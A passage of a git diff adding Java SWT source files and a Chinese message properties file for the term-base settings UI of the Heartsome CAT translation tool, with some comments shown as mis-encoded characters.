preferenceStore.setValue(TBPreferenceConstants.TB_UPDATE, TBPreferenceConstants.TB_REPEAT_IGNORE); + } + // 设置是å¦å¿½ç•¥å¤§å°å†™ + preferenceStore.setDefault(TBPreferenceConstants.TB_CASE_SENSITIVE, btnCaseSensitive.getSelection()); + // + PlatformUI.getPreferenceStore().setDefault(TBPreferenceConstants.TB_CASE_SENSITIVE, btnCaseSensitive.getSelection()); + return true; + } + + @Override + protected void performDefaults() { + int intUpdateTB = preferenceStore.getDefaultInt(TBPreferenceConstants.TB_UPDATE); + setInitValues(intUpdateTB); + } + + private void setInitValues(int intUpdateTB) { + if (intUpdateTB == TBPreferenceConstants.TB_ALWAYS_ADD) { + btnAlwaysAdd.setSelection(true); + btnRepeatOverwrite.setSelection(false); + btnRepeatMerge.setSelection(false); + btnRepeatIgnore.setSelection(false); + } else if (intUpdateTB == TBPreferenceConstants.TB_REPEAT_OVERWRITE) { + btnAlwaysAdd.setSelection(false); + btnRepeatOverwrite.setSelection(true); + btnRepeatMerge.setSelection(false); + btnRepeatIgnore.setSelection(false); + } else if (intUpdateTB == TBPreferenceConstants.TB_REPEAT_MERGE) { + btnAlwaysAdd.setSelection(false); + btnRepeatOverwrite.setSelection(false); + btnRepeatMerge.setSelection(true); + btnRepeatIgnore.setSelection(false); + } else if (intUpdateTB == TBPreferenceConstants.TB_REPEAT_IGNORE) { + btnAlwaysAdd.setSelection(false); + btnRepeatOverwrite.setSelection(false); + btnRepeatMerge.setSelection(false); + btnRepeatIgnore.setSelection(true); + } + + // 设置是å¦å¿½ç•¥å¤§å°å†™ + + btnCaseSensitive.setSelection(preferenceStore.getDefaultBoolean(TBPreferenceConstants.TB_CASE_SENSITIVE)); + + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/projectsetting/ProjectSettingTBPage.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/projectsetting/ProjectSettingTBPage.java new file mode 100644 index 0000000..8061853 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/projectsetting/ProjectSettingTBPage.java @@ -0,0 +1,511 @@ +/** + * ProjectConfigTBPage.java + * + * Version information : + * + * Date:Nov 29, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.projectsetting; + +import java.io.File; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.ProjectInfoBean; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.ui.HSDropDownButton; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tb.Activator; +import net.heartsome.cat.database.ui.tb.ImageConstants; +import net.heartsome.cat.database.ui.tb.Utils; +import net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog; +import net.heartsome.cat.database.ui.tb.resource.Messages; +import net.heartsome.cat.database.ui.tb.wizard.NewTermDbWizard; +import net.heartsome.cat.database.ui.tb.wizard.TbxImportWizard; +import net.heartsome.cat.database.ui.tb.wizard.TermDbManagerImportWizardDialog; +import net.heartsome.cat.ts.ui.extensionpoint.AbstractProjectSettingPage; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.CellEditor; +import org.eclipse.jface.viewers.CheckboxCellEditor; +import org.eclipse.jface.viewers.ColumnLabelProvider; +import org.eclipse.jface.viewers.EditingSupport; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.ui.IWorkbench; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class ProjectSettingTBPage extends AbstractProjectSettingPage { + + private static final Logger LOGGER = LoggerFactory.getLogger(ProjectSettingTBPage.class); + + private TableViewer tableViewer; + private List curDbList; + + private Image checkedImage = Activator.getImageDescriptor(ImageConstants.CHECKED).createImage(); + private Image uncheckedImage = Activator.getImageDescriptor(ImageConstants.UNCHECKED).createImage(); + + /** + * Create the preference page. + * @param cfgBean + */ + public ProjectSettingTBPage() { + super("TB"); + setTitle(Messages.getString("projectsetting.ProjectSettingTBPage.title")); + noDefaultAndApplyButton(); + } + + @Override + public void setProjectInfoBean(ProjectInfoBean projInfoBean) { + super.projectInfoBean = projInfoBean; + this.curDbList = projInfoBean.getTbDb(); + for (DatabaseModelBean bean : this.curDbList) { + checkDbHashMatch(bean); + } + } + + /** + * Create contents of the preference page. + * @param parent + */ + @Override + public Control createContents(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(1, false)); + + tableViewer = new TableViewer(container, SWT.BORDER | SWT.FULL_SELECTION | SWT.SINGLE); + Table table = tableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + table.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + tableViewer.setContentProvider(new ArrayContentProvider()); + createColumn(tableViewer); + tableViewer.setInput(curDbList); + tableViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection selection = (IStructuredSelection) tableViewer.getSelection(); + DatabaseModelBean dbModel = (DatabaseModelBean) selection.getFirstElement(); + if (dbModel != null && !dbModel.isHasMatch()) { + setMessage(Messages.getString("projectsetting.ProjectSettingTBPage.msg1")); + } + } + }); + + Composite composite = new Composite(container, SWT.NONE); + composite.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + composite.setLayout(new GridLayout(5, false)); + new Label(composite, SWT.NONE); + + HSDropDownButton addBtn = new HSDropDownButton(composite, SWT.NONE); + addBtn.setText(Messages.getString("projectsetting.ProjectSettingTBPage.addBtn")); + Menu addMenu = addBtn.getMenu(); + MenuItem item = new MenuItem(addMenu, SWT.PUSH); + item.setText(Messages.getString("tb.dialog.addTb.DropDownButton.AddFileTb")); + item.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent e) { + FileDialog fileDialg = new FileDialog(getShell()); + fileDialg.setFilterExtensions(new String[] { "*.hstb", "*.*" }); + String result = fileDialg.open(); + if (result == null) { + return; + } + File f = new File(result); + if (!f.exists()) { + return; + } + Map r = null; + try { + r = Utils.convertFile2TbModel(f, false); + } catch (Exception e1) { + MessageDialog.openError(getShell(), Messages.getString("tb.dialog.addFileTb.errorTitle"), + e1.getMessage()); + } + if (r == null) { + return; + } + Iterator it = r.keySet().iterator(); + if (it.hasNext()) { + DatabaseModelBean selectedVal = it.next(); + List dbList = new ArrayList(); + dbList.add(selectedVal); + addToCurrDbList(dbList); + } + } + }); + MenuItem serverItem = new MenuItem(addMenu, SWT.PUSH); + serverItem.setText(Messages.getString("tb.dialog.addTb.DropDownButton.AddServerTb")); + serverItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + TermDbManagerDialog dialog = new TermDbManagerDialog(getShell()); + dialog.setDialogUseFor(TermDbManagerDialog.TYPE_DBSELECTED); + if (dialog.open() == Window.OK) { + Iterator it = dialog.getHasSelectedDatabase().keySet().iterator(); + List dbList = new ArrayList(); + while (it.hasNext()) { + dbList.add(it.next()); + } + addToCurrDbList(dbList); + } + } + }); + + Button createBtn = new Button(composite, SWT.NONE); + createBtn.setText(Messages.getString("projectsetting.ProjectSettingTBPage.createBtn")); + createBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + NewTermDbWizard wizard = new NewTermDbWizard(); + TermDbManagerImportWizardDialog dlg = new TermDbManagerImportWizardDialog(getShell(), wizard); + if (dlg.open() == 0) { + DatabaseModelBean dbModel = wizard.getCreateDb(); + curDbList.add(dbModel); + checkDbHashMatch(dbModel); + tableViewer.add(dbModel); + } + } + }); + + Button removeBtn = new Button(composite, SWT.NONE); + removeBtn.setText(Messages.getString("projectsetting.ProjectSettingTBPage.removeBtn")); + removeBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + removeForCurrDbList((IStructuredSelection) tableViewer.getSelection()); + } + }); + + Button importTmxBtn = new Button(composite, SWT.NONE); + importTmxBtn.setText(Messages.getString("projectsetting.ProjectSettingTBPage.importTmxBtn")); + importTmxBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection selection = (IStructuredSelection) tableViewer.getSelection(); + Iterator it = selection.iterator(); + if (it.hasNext()) { + DatabaseModelBean dbModel = (DatabaseModelBean) it.next(); + TbxImportWizard wizard = new TbxImportWizard(dbModel); + TermDbManagerImportWizardDialog dlg = new TermDbManagerImportWizardDialog(getShell(), wizard); + if (dlg.open() == 0) { + checkDbHashMatch(dbModel); + tableViewer.refresh(); + } + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("projectsetting.ProjectSettingTBPage.msgTitle"), + Messages.getString("projectsetting.ProjectSettingTBPage.msg2")); + } + } + }); + + addBtn.setFocus(); + + Point addPoint = addBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point createPoint = createBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point remPoint = removeBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point importPoint = importTmxBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + int width = Math.max(importPoint.x, Math.max(remPoint.x, Math.max(addPoint.x, createPoint.x))); + GridData btnData = new GridData(); + btnData.widthHint = width + 10; + addBtn.setLayoutData(btnData); + createBtn.setLayoutData(btnData); + removeBtn.setLayoutData(btnData); + importTmxBtn.setLayoutData(btnData); + + return container; + } + + /** + * 从当å‰åˆ—表中删除选中的库 + * @param selection + * ; + */ + private void removeForCurrDbList(IStructuredSelection selection) { + curDbList.removeAll(selection.toList()); + this.tableViewer.remove(selection.toArray()); + } + + /** + * 将选中的内容添加到列表中 + * @param selection + * ; + */ + private void addToCurrDbList(List hasSelection) { + StringBuffer dbNames = new StringBuffer(); + for (int i = 0; i < hasSelection.size(); i++) { + DatabaseModelBean dbModel = hasSelection.get(i); + + checkDbHashMatch(dbModel); + if (!checkDbIsExist(curDbList, dbModel)) { + if (curDbList.size() == 0) { // 第一个添加的库为默认库 + dbModel.setDefault(true); + } + curDbList.add(dbModel); + this.tableViewer.add(dbModel); + } else { + dbNames.append(dbModel.getDbName()); + dbNames.append("\n"); + } + } + if (dbNames.length() != 0) { + MessageDialog.openInformation(getShell(), + Messages.getString("projectsetting.ProjectSettingTBPage.msgTitle"), + Messages.getString("projectsetting.ProjectSettingTBPage.msg3") + dbNames.toString()); + } + } + + /** + * 检查当å‰åº“是å¦å·²ç»å­˜åœ¨ + * @param b + * @return ; + */ + public boolean checkDbIsExist(List curDbList, DatabaseModelBean b) { + for (int i = 0; i < curDbList.size(); i++) { + DatabaseModelBean a = curDbList.get(i); + String dbname = a.getDbName(); + String host = a.getHost(); + String port = a.getPort(); + String instance = a.getInstance(); + if (b.getDbName().equals(dbname) && b.getHost().equals(host) && b.getPort().equals(port) + && b.getInstance().equals(instance)) { + return true; + } + } + return false; + } + + /** + * 需è¦è°ƒç”¨Databaseæ¨¡å— æ£€æŸ¥å½“å‰é¡¹ç›®åœ¨åº“中是å¦æœ‰è¯­è¨€å¯¹çš„åŒ¹é… + * @param dbModel + * æ•°æ®åº“ä¿¡æ¯; + */ + public void checkDbHashMatch(DatabaseModelBean dbModel) { + Language srcLang = super.projectInfoBean.getSourceLang(); + DBOperator dbOp = DatabaseService.getDBOperator(dbModel.toDbMetaData()); + try { + if (dbOp != null) { + dbOp.start(); + dbModel.setHasMatch(dbOp.checkHasMatchs(srcLang.getCode(), "B")); + } + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + dbModel.setHasMatch(false); + } finally { + if (dbOp != null) { + try { + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + } + + /** + * 创建Table列 + * @param viewer + * ; + */ + private void createColumn(final TableViewer viewer) { + String[] clmnTitles = { Messages.getString("projectsetting.ProjectSettingTBPage.clmnTitles1"), + Messages.getString("projectsetting.ProjectSettingTBPage.clmnTitles2"), + Messages.getString("projectsetting.ProjectSettingTBPage.clmnTitles3"), + Messages.getString("projectsetting.ProjectSettingTBPage.clmnTitles4"), + Messages.getString("projectsetting.ProjectSettingTBPage.clmnTitles5") }; + int[] clmnBounds = { 100, 100, 200, 90, 70 }; + + TableViewerColumn col = createTableViewerColumn(viewer, clmnTitles[0], clmnBounds[0], 0); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + return dbModel.getDbName(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[1], clmnBounds[1], 1); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + String dbType = dbModel.getDbType(); + if (dbType.equals(Constants.DBTYPE_MYSQL)) { + dbType = Constants.DBTYPE_MYSQL_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_MSSQL2005)) { + dbType = Constants.DBTYPE_MSSQL2005_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_SQLITE)) { + dbType = Messages.getString("tb.dbtype.sqlite"); + } + return dbType; + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[2], clmnBounds[2], 2); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.getDbType().equals("Internal DB") || dbModel.getDbType().equals("SQLite")) { + return dbModel.getItlDBLocation(); + } + return dbModel.getHost(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[3], clmnBounds[3], 3); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.isHasMatch()) { + return Messages.getString("projectsetting.ProjectSettingTBPage.yes"); + } else { + return Messages.getString("projectsetting.ProjectSettingTBPage.no"); + } + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[4], clmnBounds[4], 4); + col.setLabelProvider(new ColumnLabelProvider() { + public Image getImage(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.isDefault()) { + return checkedImage; + } else { + return uncheckedImage; + } + } + + public String getText(Object element) { + return null; + } + }); + col.setEditingSupport(new ReadableEditingSupport(viewer)); + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + + } + + /** + * Cell Editing Support for readable + * @author Jason + * @version + * @since JDK1.6 + */ + protected class ReadableEditingSupport extends EditingSupport { + private final TableViewer viewer; + + public ReadableEditingSupport(TableViewer viewer) { + super(viewer); + this.viewer = viewer; + } + + @Override + protected CellEditor getCellEditor(Object element) { + return new CheckboxCellEditor(null, SWT.CHECK); + } + + @Override + protected boolean canEdit(Object element) { + return true; + } + + @Override + protected Object getValue(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + return dbModel.isDefault(); + } + + @Override + protected void setValue(Object element, Object value) { + if (!(Boolean) value) { + return; + } + // 实现å•é€‰ + List dbList = (List) viewer.getInput(); + for (int i = 0; i < dbList.size(); i++) { + ((DatabaseModelBean) dbList.get(i)).setDefault(false); + } + // 实现å•é€‰ + + // 执行修改 + DatabaseModelBean dbModel = (DatabaseModelBean) element; + dbModel.setDefault((Boolean) value); + + // 刷新 + viewer.refresh(); + } + } + + /** + * Initialize the preference page. + */ + public void init(IWorkbench workbench) { + // Initialize the preference page + } + + @Override + public void dispose() { + if (checkedImage != null && !checkedImage.isDisposed()) { + checkedImage.dispose(); + } + if (uncheckedImage != null && !uncheckedImage.isDisposed()) { + uncheckedImage.dispose(); + } + super.dispose(); + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/Messages.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/Messages.java new file mode 100644 index 0000000..24708e1 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.database.ui.tb.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.database.ui.tb.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/message.properties b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/message.properties new file mode 100644 index 0000000..85c2ff0 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/message.properties @@ -0,0 +1,233 @@ +dialog.ExportTbxDialog.title = \u5bfc\u51fa\u672f\u8bed\u5e93\u4e3a TBX \u6587\u4ef6 +dialog.ExportTbxDialog.dbListGroup = \u672f\u8bed\u5e93 +dialog.ExportTbxDialog.langSelLabel = \u5bfc\u51fa\u8bed\u8a00\uff1a +dialog.ExportTbxDialog.srcLangSelLabel = \u6e90\u8bed\u8a00\uff1a +dialog.ExportTbxDialog.AddDbBtn = \u6dfb\u52a0(&A) +dialog.ExportTbxDialog.deleteDbBtn = \u79fb\u9664(&R) +dialog.ExportTbxDialog.msgTitle = \u63d0\u793a +dialog.ExportTbxDialog.msg1 = \u8bf7\u9009\u62e9\u8981\u4ece\u5217\u8868\u4e2d\u79fb\u9664\u7684\u672f\u8bed\u5e93\u3002 +dialog.ExportTbxDialog.hasChangedCodingCbtn = \u81ea\u5b9a\u4e49\u7f16\u7801\uff1a +dialog.ExportTbxDialog.button = \u8fc7\u6ee4\u89c4\u5219\uff1a +dialog.ExportTbxDialog.filterSettingBtn = \u7f16\u8f91(&E)... +dialog.ExportTbxDialog.filterDeleteBtn = \u5220\u9664(&D) +dialog.ExportTbxDialog.msg2 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u8fc7\u6ee4\u89c4\u5219\u5417\uff1f +dialog.ExportTbxDialog.tbxFileLabel = \u4fdd\u5b58\u5230\uff1a +dialog.ExportTbxDialog.browserBtn = \u6d4f\u89c8(&B)... +dialog.ExportTbxDialog.empty = \u65e0 +dialog.ExportTbxDialog.ok = \u5bfc\u51fa(&P) +dialog.ExportTbxDialog.cancel = \u53d6\u6d88 +dialog.ExportTbxDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.ExportTbxDialog.clmnTitles2 = \u7c7b\u578b +dialog.ExportTbxDialog.clmnTitles3 = \u540d\u79f0 +dialog.ExportTbxDialog.clmnTitles4 = \u8bed\u8a00 +dialog.ExportTbxDialog.msg3 = \u8bf7\u6dfb\u52a0\u9700\u8981\u5bfc\u51fa\u7684\u672f\u8bed\u5e93\u3002 +dialog.ExportTbxDialog.msg4 = \u672f\u8bed\u5e93 {0}:{1} \u81f3\u5c11\u8981\u5bfc\u51fa\u4e24\u79cd\u8bed\u8a00\u3002 +dialog.ExportTbxDialog.msg5 = \u8bf7\u6307\u5b9a\u5bfc\u51fa\u540e\u7684 TBX \u4fdd\u5b58\u8def\u5f84\u548c\u6587\u4ef6\u540d\u3002 +dialog.ExportTbxDialog.msg6 = \u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417? +dialog.ExportTbxDialog.msg7 = \u5f53\u9009\u62e9\u591a\u4e2a\u672f\u8bed\u5e93\u65f6\uff0c\u4fdd\u5b58 TBX \u6587\u4ef6\u7684\u8def\u5f84\u5fc5\u987b\u662f\u4e00\u4e2a\u6587\u4ef6\u5939\u3002 +dialog.ExportTbxDialog.msg8 = \u5f53\u9009\u4e00\u4e2a\u672f\u8bed\u5e93\u65f6\uff0c\u4fdd\u5b58 TBX \u6587\u4ef6\u7684\u8def\u5f84\u5fc5\u987b\u662f\u4e00\u4e2a\u6587\u4ef6\u3002 +dialog.ExportTbxDialog.job = \u5c06\u672f\u8bed\u5e93\u5bfc\u51fa\u4e3a TBX \u6587\u4ef6 +dialog.TermBaseSearchDialog.title = \u672f\u8bed\u641c\u7d22 +dialog.TermBaseSearchDialog.groupSearch = \u672f\u8bed\u641c\u7d22 +dialog.TermBaseSearchDialog.lblSearch = \u641c\u7d22\u5185\u5bb9\uff1a +dialog.TermBaseSearchDialog.btnSearch = \u641c\u7d22(&S) +dialog.TermBaseSearchDialog.btnIsCaseSensitive = \u5ffd\u7565\u5927\u5c0f\u5199 +dialog.TermBaseSearchDialog.btnIsIgnoreMark = \u5ffd\u7565\u6807\u8bb0 +dialog.TermBaseSearchDialog.btnApplyRegularExpression = \u6b63\u5219\u8868\u8fbe\u5f0f +dialog.TermBaseSearchDialog.lblQuality = \u5339\u914d\u7387\uff1a +dialog.TermBaseSearchDialog.lblTB = \u672f\u8bed\u5e93\uff1a +dialog.TermBaseSearchDialog.btnSelectLang = \u76ee\u6807\u8bed\u8a00 +dialog.TermBaseSearchDialog.groupTable = \u641c\u7d22\u7ed3\u679c +dialog.TermBaseSearchDialog.msgTitle = \u63d0\u793a +dialog.TermBaseSearchDialog.msg1 = \u8bf7\u8f93\u5165\u8981\u641c\u7d22\u7684\u672f\u8bed\u3002 +dialog.TermBaseSearchDialog.msg2 = \u8bf7\u9009\u62e9\u672f\u8bed\u5e93\u3002 +dialog.TermBaseSearchDialog.msg3 = \u672a\u641c\u7d22\u5230\u5339\u914d\u7684\u672f\u8bed\u3002 +dialog.TermBaseSearchDialog.logger1 = [LOG] \u521d\u59cb\u5316\u8bed\u8a00\u4e0b\u62c9\u6846\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TermBaseSearchDialog.logger2 = [LOG] \u6267\u884c\u672f\u8bed\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TermBaseSearchDialog.logger3 = [LOG] \u4e0e\u6570\u636e\u5e93\u8fde\u63a5\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TermDbManagerDialog.title = \u672f\u8bed\u5e93\u7ba1\u7406 +dialog.TermDbManagerDialog.parameterGroup = \u6570\u636e\u5e93\u4fe1\u606f +dialog.TermDbManagerDialog.lblHost = \u5730\u5740\uff1a +dialog.TermDbManagerDialog.lblPort = \u7aef\u53e3\uff1a +dialog.TermDbManagerDialog.lblInstance = \u5b9e\u4f8b\uff1a +dialog.TermDbManagerDialog.lblLocation = \u8def\u5f84\uff1a +dialog.TermDbManagerDialog.borwserBtn = \u6d4f\u89c8(&B)... +dialog.TermDbManagerDialog.lblUsername = \u7528\u6237\u540d\uff1a +dialog.TermDbManagerDialog.lblPwd = \u5bc6\u7801\uff1a +dialog.TermDbManagerDialog.searchBtn = \u641c\u7d22(&S) +dialog.TermDbManagerDialog.msgTitle = \u63d0\u793a +dialog.TermDbManagerDialog.msg1 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\u3002\n\u8bf7\u786e\u8ba4\u586b\u5199\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3002 +dialog.TermDbManagerDialog.tableComposite = \u672f\u8bed\u5e93\u5217\u8868 +dialog.TermDbManagerDialog.btnc = \u521b\u5efa(&C) +dialog.TermDbManagerDialog.btnd_1 = \u5220\u9664(&D) +dialog.TermDbManagerDialog.msg2 = \u5220\u9664\u8be5\u672f\u8bed\u5e93\u540e\u5c06\u65e0\u6cd5\u6062\u590d\u6570\u636e\uff0c\u786e\u5b9a\u8981\u5220\u9664\u5417\uff1f +dialog.TermDbManagerDialog.logger1 = [LOG] \u5220\u9664\u672f\u8bed\u5e93\u5931\u8d25 +dialog.TermDbManagerDialog.msg3 = \u5220\u9664\u672f\u8bed\u5e93\u65f6\u51fa\u9519\u3002\n\u8bf7\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\u6216\u91cd\u542f\u6570\u636e\u5e93\uff0c\u7136\u540e\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +dialog.TermDbManagerDialog.importBtn = \u5bfc\u5165 TBX(&I) +dialog.TermDbManagerDialog.msg4 = \u8bf7\u9009\u62e9\u672f\u8bed\u5e93\u3002 +dialog.TermDbManagerDialog.deleteAction = \u79fb\u9664 +dialog.TermDbManagerDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.TermDbManagerDialog.clmnTitles2 = \u540d\u79f0 +dialog.TermDbManagerDialog.clmnTitles3 = \u8bed\u8a00 +dialog.TermDbManagerDialog.msg5 = \u8bf7\u8bbe\u7f6e Internal DB \u672f\u8bed\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TermDbManagerDialog.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +dialog.TermDbManagerDialog.msg7 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +dialog.TermDbManagerDialog.msg8 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +dialog.TermDbManagerDialog.msg9 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +dialog.TermDbManagerDialog.msg10 = \u8be5\u672f\u8bed\u5e93\u4e2d\u6ca1\u6709\u672f\u8bed\u3002 +dialog.TermDbManagerDialog.inputDbNameialogTitle = \u521b\u5efa\u672f\u8bed\u5e93 +dialog.TermDbManagerDialog.inputDbNameialogMsg = \u672f\u8bed\u5e93\u540d\u79f0\uff1a +dialog.TermDbNameInputDialog.msg1 = \u65e0\u6cd5\u521b\u5efa\u672f\u8bed\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +dialog.TermDbNameInputDialog.msg2 = \u8be5\u672f\u8bed\u5e93\u540d\u79f0\u5df2\u5728\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u6216\u8def\u5f84\u4e2d\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialog.TermDbNameInputDialog.logger1 = [LOG] \u521b\u5efa\u7cfb\u7edf\u5e93\u5931\u8d25 +dialog.TermDbNameInputDialog.logger2 = [LOG] \u521b\u5efa\u6570\u636e\u5e93\u5931\u8d25 + +handler.TermBaseSearchHandler.msgTitle = \u63d0\u793a +handler.TermBaseSearchHandler.msg = 